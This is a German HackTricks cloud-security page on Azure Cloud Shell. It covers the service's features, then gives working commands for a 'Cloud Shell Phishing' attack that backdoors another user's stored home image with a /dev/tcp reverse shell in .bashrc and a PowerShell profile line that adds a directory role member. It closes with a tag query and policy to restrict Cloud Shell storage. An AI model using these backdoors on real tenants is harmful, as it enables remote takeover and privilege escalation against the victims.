Az - Cloud Shell
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Azure Cloud Shell
Azure Cloud Shell ist ein interaktives, authentifiziertes, browserzugängliches Terminal, das für die Verwaltung von Azure-Ressourcen konzipiert ist und die Flexibilität bietet, entweder mit Bash oder PowerShell zu arbeiten. Es läuft auf einem temporären, pro Sitzung host, der nach 20 Minuten Inaktivität abläuft, während Dateien im $HOME-Verzeichnis mit einem 5-GB-Dateifreigabe gespeichert werden. Cloud Shell kann über mehrere Punkte aufgerufen werden, einschließlich des Azure-Portals, shell.azure.com, Azure CLI und PowerShell-Dokumentation, der Azure-Mobile-App und der Visual Studio Code Azure-Kontoerweiterung.
Es sind keine Berechtigungen für diesen Dienst zugewiesen, daher gibt es keine Techniken zur Privilegieneskalation. Auch gibt es keine Art der Enumeration.
Key Features
- Vorinstallierte Tools: Cloud Shell enthält eine umfassende Sammlung vorinstallierter Tools wie Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git und Texteditoren wie vim, nano und emacs. Diese Tools sind einsatzbereit. Um die installierten Pakete und Module aufzulisten, können Sie "Get-Module -ListAvailable", "tdnf list" und "pip3 list" verwenden.
- Azure-Laufwerk (Azure:): PowerShell in Azure Cloud Shell umfasst das Azure-Laufwerk (Azure:), das eine einfache Navigation durch Azure-Ressourcen wie Compute, Network und Storage mit dateisystemähnlichen Befehlen ermöglicht. Wechseln Sie mit cd Azure: zum Azure-Laufwerk und kehren Sie mit cd ~ in Ihr Home-Verzeichnis zurück. Sie können weiterhin Azure PowerShell-Cmdlets verwenden, um Ressourcen von jedem Laufwerk aus zu verwalten.
- Benutzerdefinierte Tool-Installation: Benutzer, die Cloud Shell mit einem Speicherkonto konfigurieren, können zusätzliche Tools installieren, die keine Root-Berechtigungen erfordern. Diese Funktion ermöglicht eine weitere Anpassung der Cloud Shell-Umgebung, sodass Benutzer ihre Einrichtung an ihre spezifischen Bedürfnisse anpassen können.
- $HOME-Persistenz: Wenn Sie Azure Cloud Shell zum ersten Mal starten, können Sie es mit oder ohne ein angehängtes Speicherkonto verwenden.
- Wenn Sie sich entscheiden, keinen Speicher anzuhängen, wird eine flüchtige Sitzung erstellt, in der Dateien gelöscht werden, wenn die Sitzung endet.
- Um Dateien über Sitzungen hinweg zu speichern, haben Sie die Möglichkeit, ein Speicherkonto zu mounten, das automatisch als
$HOME\clouddrive
angehängt wird, wobei Ihr$HOME
-Verzeichnis als .img-Datei in einer Dateifreigabe gespeichert wird.
Cloud Shell Phishing
Wenn ein Angreifer Bilder anderer Benutzer in einem Speicherkonto findet, auf das er Schreib- und Lesezugriff hat, kann er das Bild herunterladen, eine Bash- und PS-Hintertür hinzufügen und es zurück in das Speicherkonto hochladen, sodass beim nächsten Zugriff des Benutzers auf die Shell die Befehle automatisch ausgeführt werden.
- Bild herunterladen, Hintertür hinzufügen und das Bild hochladen:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
- Dann phish den Benutzer, um auf https://shell.azure.com/ zuzugreifen.
Finde & Verhindere automatische Speicher-Konten von Cloud Shell
Speicherkonten, die von Cloud Shell erstellt wurden, sind mit ms-resource-usage:azure-cloud-shell
gekennzeichnet. Es ist möglich, eine Azure-Ressourcenrichtlinie zu erstellen, die das Erstellen von Ressourcen mit diesem Tag deaktiviert.
Finde alle von Cloud Shell erstellten Speicherkonten nach Tags:
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
Richtlinie zur Verhinderung der Erstellung automatischer Speicherkonten für Cloud-Shell-Speicher basierend auf Tags:
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
Referenzen
- https://learn.microsoft.com/en-us/azure/cloud-shell/overview
- https://learn.microsoft.com/en-us/azure/cloud-shell/features
- https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window
Persistenz
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.